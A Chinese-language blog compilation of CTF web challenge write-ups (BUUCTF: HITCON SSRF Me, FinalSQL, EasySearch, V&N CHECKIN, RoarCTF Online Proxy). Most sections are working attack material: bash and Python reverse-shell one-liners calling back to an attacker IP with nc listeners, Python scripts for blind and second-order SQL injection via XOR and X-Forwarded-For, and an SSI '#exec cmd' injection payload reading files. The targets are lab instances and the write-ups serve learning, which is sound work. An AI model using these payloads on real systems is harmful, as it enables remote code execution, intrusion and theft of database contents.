@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

```

具体为什么这样可看链接

创建一个linux-labs，首先查看ip

```

root@f1a3445ad709:/# ifconfig
eth0      Link encap:Ethernet HWaddr 02:42:ae:01:f6:d4
          inet addr:174.1.246.212 Bcast:174.255.255.255 Mask:255.0.0.0
          UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
          RX packets:877 errors:0 dropped:0 overruns:0 frame:0
          TX packets:689 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:66822 (66.8 KB) TX bytes:83955 (83.9 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          UP LOOPBACK RUNNING MTU:65536 Metric:1
          RX packets:27 errors:0 dropped:0 overruns:0 frame:0
          TX packets:27 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1860 (1.8 KB) TX bytes:1860 (1.8 KB)

```

在www/html下创建x.txt写入代码如下：

```
bash -i >& /dev/tcp/174.1.246.212/6666 0<&1 2>&1
```

然后操作之

```
?url=http://174.1.246.212/x.txt&filename=a
?url=&filename=bash a|
?url=file:bash a|&filename=xxx
```

监听端口: nc -lvp 6666

```
root@fla3445ad709:/var/www/html# cat x.txt
bash -i >& /dev/tcp/174.1.246.212/6666 0<&1 2>&1
root@fla3445ad709:/var/www/html# nc -lvp 6666
listening on [any] 6666 ...
connect to [174.1.246.212] from 2543-d9da6522-bc69-4f1e-bd77-5a248c77dc2b.l.n9bxqfmvumrygyepe0ffb847r.ctfd_swarm [174.1.246.233] 44380
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
<www/html/sandbox/e4c86209f7538a35fc12f8445e66a965$ ls
ls
a
b
bash -c
bash a|
bash b|
x.txt
xxx
```

<https://blog.csdn.net/bmth666>

最后在根目录执行readflag

```
www-data@lecd898a4a4:/var/www/html/sandbox$ cd /
cd /
www-data@lecd898a4a4:/$ ls
ls
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
readflag
root
run
sbin
srv
start.sh
sys
tmp
usr
var
www-data@lecd898a4a4:/$ ./readflag
./readflag
flag is flag{593d2c4d-3384-40a5-562426195ac1}
```

参考:

Hitcon2017 Web Writeup

HITCON2017-writeup整理

[hitcon2017] SSRF Me复现


[极客大挑战 2019]FinalSQL

看完wp这题是盲注，而且使用异或^

异或是一种逻辑运算，运算法则简言之就是：

两个条件相同（同真或同假）即为假（0），两个条件不同即为真（1），null与任何条件做异或运算都为null

?id=1^0^1, 返回id=0的结果, ERROR



控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境 HackBar Max HackBar

Encoding SQL XSS Other

http://649d4d3a-b8a5-449d-82fa-aad24102ca6d.node3.buuoj.cn/search.php

?id=1^0^1

<https://blog.csdn.net/bmth666>

?id=1^1^1 返回id =1的结果



控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境 HackBar Max HackBar

Encoding SQL XSS Other

http://649d4d3a-b8a5-449d-82fa-aad24102ca6d.node3.buuoj.cn/search.php

?id=1^1^1

<https://blog.csdn.net/bmth666>

那么构造 ?id=1^(length(database())>3)^1, 返回的是id=1的结果, 即(length(database())>3) = 1, 是真的, 说明当前数据库的长度大于3

师傅脚本:

```

#二分法要快很多
# -*- coding: UTF-8 -*-
import re
import requests
import string

url = "http://649d4d3a-b8a5-449d-82fa-aad24102ca6d.node3.buuoj.cn/search.php"
flag = ''

def payload(i,j):
    # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1%(i,j)          #数据库名字
    # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))>%d)^1%(i,j)      #表名
    # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Final1y')),%d,1))>%d)^1%(i,j)      #列名
    sql = "1^(ord(substr((select(group_concat(password))from(Final1y)),%d,1))>%d)^1%(i,j)
    data = {"id":sql}
    r = requests.get(url,params=data)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0

    return res

def exp():
    global flag
    for i in range(1,10000) :
        print(i,':')
        low = 31
        high = 127
        while low <= high :
            mid = (low + high) // 2
            res = payload(i,mid)
            if res :
                low = mid + 1
            else :
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
    print(flag)

exp()
print('flag=',flag)

```

师傅的二分法脚本跑的是真快

```
[极客大挑战 2019]FinalSQL.py
6 url = "http://649d4d3a-b8a5-449d-82fa-aad24102ca6d.node3.buuoj.cn/search.php"
7 flag = ''
8
9 def payload(i,j):
10     # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,j)
11     # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables))where(table_schema='geek'),%d,1))>%d)^1" %
12     # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns))where(table_name='FinalIly'),%d,1))>%d)^1" %
13     sql = "1^(ord(substr((select(group_concat(password))from(FinalIly)),%d,1))>%d)^1" %(i,j)
14     data = {"id":sql}
15     r = requests.get(url,params=data)
16     # print (r.url)
17     if "Click" in r.text:
18         res = 1
19     else:
20         res = 0
21
22     return res
23
24 def exo():
25     payload()
```

[极客大挑战 2019]FinalSQL
http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{8a2e1093-1080-4a1f-bbfff-c526f4e63a23}
http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{8a2e1093-1080-4a1f-bbfff-c526f4e63a23}
blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{8a2e1093-1080-4a1f-bbfff-c526f4e63a23}

参考：

[极客大挑战 2019] SQL (二)

[极客大挑战 2019]FinalSQL

[BJDCTF2020]EasySearch

没思路，又登不上去，看wp发现是swp泄露

```

<?php
ob_start();
function get_hash(){
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
    $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)]; //Random 5 times
    $content = uniqid().$random;
    return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
*** 
if(isset($_POST['username']) and $_POST['username'] != ''){
{
    $admin = '6d0bc1';
    if ( $admin == substr(md5($_POST['password']),0,6)) {
        echo "<script>alert('[+] Welcome to manage system')</script>";
        $file_shtml = "public/.get_hash().shtml";
        $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
        $text = '
        ***
        ***
        <h1>Hello,'.$_POST['username']. '</h1>
        ***
        ***';
        fwrite($shtml,$text);
        fclose($shtml);
        ***
        echo "[!] Header error ...";
    } else {
        echo "<script>alert('[!] Failed')</script>";
    }
}
}
?>

```

password前6个字符的md5加密值等于6d0bc1，师傅脚本如下：

```

import hashlib
list='0123456789'
for a in list:
    for b in list:
        for c in list:
            for d in list:
                for e in list:
                    for f in list:
                        for g in list:
                            str1 = (a+b+c+d+e+f+g)
                            value = hashlib.md5(str1.encode()).hexdigest()
                            if value[0:6] == '6d0bc1':
                                print(str1)

```

得到三个数，随便选一个就行

```

ect ▾      + - | ⚙ - [BJDCTF2020]EasySearch.py ×
[BJDCTF2020]EasySearch.py
Internal Libraries
1 import hashlib
2 list='0123456789'

```

```

ratches and Consoles
3   for a in list:
4     for b in list:
5       for c in list:
6         for d in list:
7           for e in list:
8             for f in list:
9               for g in list:
10              str1 = (a+b+c+d+e+f+g)
11              value = hashlib.md5(str1.encode()).hexdigest()
12              if value[0:6] == '6d0bc1':
13                print(str1)

for a in list > for b in list > for c in list > for d in list > for e in list > for f in list > for g

[BJDCTF2020]EasySearch ×
E:\python\python.exe E:/ctf/buuctf/web/[BJDCTF2020]EasySearch.py
2020666
2305004
9162671
https://blog.csdn.net/bmth666

```

抓包发现返回包有一个地址

Request

- [Raw](#)
- [Params](#)
- [Headers](#)
- [Hex](#)

```

POST /index.php HTTP/1.1
Host: 56944ff9-0f0f-4ea3-b5e3-8b2318377c1a.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://56944ff9-0f0f-4ea3-b5e3-8b2318377c1a.node3.buuoj.cn
Connection: close
Referer: http://56944ff9-0f0f-4ea3-b5e3-8b2318377c1a.node3.buuoj.cn/index.php
Upgrade-Insecure-Requests: 1

username=admin&password=2020666

```

Response

- [Raw](#)
- [Headers](#)
- [Hex](#)
- [HTML](#)
- [Render](#)

```

HTTP/1.1 200 OK
Server: openresty
Date: Fri, 20 Mar 2020 09:33:32 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 568
Connection: close
Url_is_here: public/cb4aa2d41fb91e115cc04d12f6b631aa9a52b68f.shtml
Vary: Accept-Encoding
X-Powered-By: PHP/7.1.27

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Login</title>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<meta name="viewport" content="width=device-width">
<link href="public/css/base.css" rel="stylesheet" type="text/css">
<link href="public/css/login.css" rel="stylesheet" type="text/css">
</head>
<body><script>alert(['+] Welcome to manage system')</script>[!] Header error ... <div id="tip"></div>
<div class="foot">
bjd.cn
</div>
</body>
</html>

```

https://blog.csdn.net/bmth666

访问，wp说是SSI解析漏洞



Hello,admin

data: Friday, 20-Mar-2020 09:34:43 UTC

Client IP: 174.0.222.75

https://blog.csdn.net/bmth666

在username变量中传入ssi语句来远程执行系统命令

```
<!--#exec cmd="命令"-->
```

先ls没发现有用信息，使用 <!--#exec cmd="ls ../"-->

The screenshot shows a network request in a browser's developer tools. The request is a POST to 'index.php' with the following headers:

```
POST /index.php HTTP/1.1
Host: 5694ffff-0f0f-4ea3-b5e3-8b2318377c1a.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://5694ffff-0f0f-4ea3-b5e3-8b2318377c1a.node3.buuoj.cn
Connection: close
Referer: http://5694ffff-0f0f-4ea3-b5e3-8b2318377c1a.node3.buuoj.cn/index.php
Upgrade-Insecure-Requests: 1
```

The payload in the body is:

```
username=<!--#exec cmd="ls ../"-->&password=2020666
```

A pink arrow points from the text "查看ls ../" to the injected command in the payload.

The response shows the following headers:

```
HTTP/1.1 200 OK
Server: openresty
Date: Fri, 20 Mar 2020 09:42:08 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 568
Connection: close
Url_is_here: public/9a91b2968dc3b9a547f611e9e21807ce673b4c21.shtml
Vary: Accept-Encoding
X-Powered-By: PHP/7.1.27
```

The response body contains the HTML for a login page, with the URL <https://blog.csdn.net/bmth666> visible at the bottom.

发现flag

The browser window shows the URL <https://blog.csdn.net/bmth666>. The page content includes the flag:

Hello,flag_990c66bf85a09c664f0b6741840499b2 index.php index.php.swp public

data: Friday, 20-Mar-2020 09:42:19 UTC

Client IP: 174.0.222.75

<https://blog.csdn.net/bmth666>

接下来读取即可 <!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

The browser window shows the URL <https://blog.csdn.net/bmth666>. The page content includes the command to read the flag:

Hello,flag{6525f483-9a4c-4514-9623-92c69b322838}

data: Friday, 20-Mar-2020 09:45:44 UTC

Client IP: 174.0.222.75

<https://blog.csdn.net/bmth666>

参考: [BJDCTF2020]EasySearch

[V&N2020 公开赛]CHECKIN

2020 年 V&N 内部考核赛 WriteUp

张贴在 2020年3月1日 来自 Gljin in 技术

以下是 2020 年 2 月 29 日 V&N 内部考核赛 Web 部分四道题的 WriteUp。

难度不大，一个题基本上就一两个知识点。

不多说，开始。

<https://blog.csdn.net/brnthy666>

题目给出了源码，看赵师傅wp

```
from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/fLag')
# def fLag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py", "r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')
```

下面有个不带回显的 shell，在每次执行命令前都会把 flag 文件删除，那么就要反弹shell到自己的机器上
由于靶机不能访问外网，所以我们要创一个小号来访问Basic上的靶机了，xshell连接，因为是python写的，所以用python反弹 shell

ifconfig 获取IP地址

获取靶机的ip地址填入即可，我的为174.1.99.230，端口自己设置一个，这里为7777，

nc -lvp 7777 监听端口，多试了几次成功反弹

```
/shell?c=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.1.99.230',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
```

```
WARNING! The remote SSH server rejected X11 forwarding request.
root@f42073f66485:~# ifconfig
eth0      Link encap:Ethernet HWaddr 02:42:ae:01:63:e6
          inet addr:174.1.99.230 Bcast:174.255.255.255 Mask:255.0.0.0
              UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
```

```
RX packets:59 errors:0 dropped:0 overruns:0 frame:0
TX packets:41 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:6528 (6.5 KB) TX bytes:5895 (5.8 KB)

lo      Link encap:Local Loopback
        inet addr:127.0.0.1 Mask:255.0.0.0
        UP LOOPBACK RUNNING MTU:65536 Metric:1
        RX packets:0 errors:0 dropped:0 overruns:0 frame:0
        TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000
        RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

root@f42073f66485:~# nc -lvp 7777
listening on [any] 7777 ...
connect to [174.1.99.230] from 2543-877ce494-33b4-407b-9e0a-92ebe1998d3c.1.68831lvwy26zwwqeqq8ryc2v.ctfd_swarm [174.1.99.229] 57662
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
app@3a9f6a70db4b:~$
```

<https://blog.csdn.net/bmth666>

借用赵师傅的话：反弹之后可以看见 flag 文件是被删除了，但由于之前程序打开了 flag 文件，在 linux 系统中如果一个程序打开了一个文件没有关闭，即便从外部（上文是利用 rm -f flag.txt）删除之后，在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd，通过这个我们即可得到被删除文件的内容。

```
app@3a9f6a70db4b:~/ $ cd proc
cd proc
app@3a9f6a70db4b:/proc$ cd 10
cd 10
app@3a9f6a70db4b:/proc/10$ ls
ls
attr
autogroup
auxv
cgroup
clear_refs
cmdline
comm
coredump_filter
cpuset
cwd
environ
exe
fd → 找到fd
fdinfo
gid_map
io
limits
loginuid
map_files
maps
mem
mountinfo
mounts
mountstats
net
ns
numa_maps
oom_adj
oom_score
```

<https://blog.csdn.net/bmth666>

在 `/proc/10/fd` 找到了 flag

```
app@3a9f6a70db4b:/proc/10$ cd fd
cd fd
app@3a9f6a70db4b:/proc/10/fd$ ls
ls
0
1
2
3
4
5
app@3a9f6a70db4b:/proc/10/fd$ cat *
cat *
cat: 1: Permission denied
cat: 2: Permission denied
flag{89b6980a-ab5b-40a7-954d-5576b9537451}
cat: 4: No such device or address
cat: 5: No such device or address
app@3a9f6a70db4b:/proc/10/fd$
```

<https://blog.csdn.net/bmth666>

参考链接：2020年V&N内部考核赛WriteUp

[RoarCTF 2019]Online Proxy

看wp后

查看源码看到客户端IP,猜测是把客户端的IP地址记录到数据库当中, 经过尝试发现添加X-Forwarded-For可以修改ip, 找到注入点

The screenshot shows a proxy interface with two main sections: Request and Response.

Request:

- Raw tab selected.
- Headers tab shows:
 - Host: node3.buuoj.cn:29745
 - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
 - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 - Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 - Accept-Encoding: gzip, deflate
 - Connection: close
 - Cookie: _ga=GA1.2.202177182.1584773494; PHPSESSID=o2v6nm3gma6akv4rkuvvbo9c5; track_uuid=ea29e1d-20e3-4162-8876-536ebcb40ad5
 - Upgrade-Insecure-Requests: 1
 - X-Forwarded-For:11111
 - Cache-Control: max-age=0
- A red arrow points from the "X-Forwarded-For:11111" entry to a pink box containing the text "添加X-Forwarded-For:11111".

Response:

- Raw tab selected.
- Headers tab shows:
 - HTTP/1.1 200 OK
 - Server: nginx/1.16.1
 - Date: Sun, 22 Mar 2020 09:25:19 GMT
 - Content-Type: text/html; charset=UTF-8
 - Connection: close
 - X-Powered-By: PHP7.3.10
 - Content-Length: 330
- Body content:

欢迎使用 Online Proxy。使用方法为 /?url=, 例如 /?url=https://baidu.com/.
为了保障您的使用体验, 我们可能收集您的使用信息, 这些信息只会被用于提升我们的服务, 请放心。
<-- Debug Info:
Duration: 0.061658143997192 s
Current ip: 11111
Last ip: 174.0.222.75 -->

<https://blog.csdn.net/bmth666>

时间盲注即可，赵师傅则是将字符转为数字直接输出，效率高得多：

```
#!/usr/bin/env python3

import requests

target = "http://node3.buuoj.cn:29745/"

def execute_sql(sql):
    print("[*]请求语句: " + sql)
    return_result = ""

    payload = "0'|length((" + sql + "))|'0"
    session = requests.session()
    r = session.get(target, headers={'X-Forwarded-For': payload})
    r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
    r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
    start_pos = r.text.find("Last Ip: ")
    end_pos = r.text.find(" -->", start_pos)
    length = int(r.text[start_pos + 9: end_pos])
    print("[+]长度: " + str(length))

    for i in range(1, length + 1, 5):
        payload = "0'|conv(hex(substr((" + sql + "), " + str(i) + ", 5)), 16, 10)|'0"

        r = session.get(target, headers={'X-Forwarded-For': payload}) # 将语句注入
        r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) # 查询上次IP时触发二次注入
        r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) # 再次查询得到结果
        start_pos = r.text.find("Last Ip: ")
        end_pos = r.text.find(" -->", start_pos)
        result = int(r.text[start_pos + 9: end_pos])
        return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8')

    print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8'))

    return return_result

# 获取数据库
print("[+]获取成功: " + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA"))

# 获取数据库表
print("[+]获取成功: " + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'F419_D4t4B45e'"))

# 获取数据库表
print("[+]获取成功: " + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'F419_D4t4B45e' AND TABLE_NAME = 'F419_t4b1e'"))

# 获取表中内容
print("[+]获取成功: " + execute_sql("SELECT group_concat(F419_C01uMn) FROM F419_D4t4B45e.F419_t4b1e"))
```

The screenshot shows a terminal window with two tabs. The top tab is titled "[RoarCTF 2019]Online Proxy.py" and contains the following Python code:

```
1 #!/usr/bin/env python3
2 # -*- coding: UTF-8 -*-
3 import requests
4
5 target = "http://node3.buuoj.cn:29745/"
6
7 def execute_sql(sql):
8     print("[*]请求语句：" + sql)
9     return_result = ""
10
11     payload = "0'length(" + sql + ")|'0"
12     session = requests.Session()
13     r = session.get(target, headers={'X-Forwarded-For': payload})
14     r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
15     r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
16     start_pos = r.text.find("Last Ip: ")
17     end_pos = r.text.find(" ->", start_pos)
18     length = int(r.text[start_pos + 9: end_pos])
```

The bottom tab is also titled "[RoarCTF 2019]Online Proxy" and shows the execution output:

```
[+]位置 51 请求五位成功:2-4d5
[+]位置 56 请求五位成功:8-bb0
[+]位置 61 请求五位成功:5-f67
[+]位置 66 请求五位成功:90c2d
[+]位置 71 请求五位成功:a795
[+]获取成功 : flag{G1zj1n_W4nt5_4_91r1_Friend},flag{24ff22f2-7a12-4d58-bb05-f6790c2da795}
```

At the bottom of the terminal window, it says "Process finished with exit code 0". To the right of the terminal window, the URL "https://blog.csdn.net/bmth666" is displayed.

参考：

[\[RoarCTF 2019\]Online Proxy](#)

<https://blog.csdn.net/bmth666>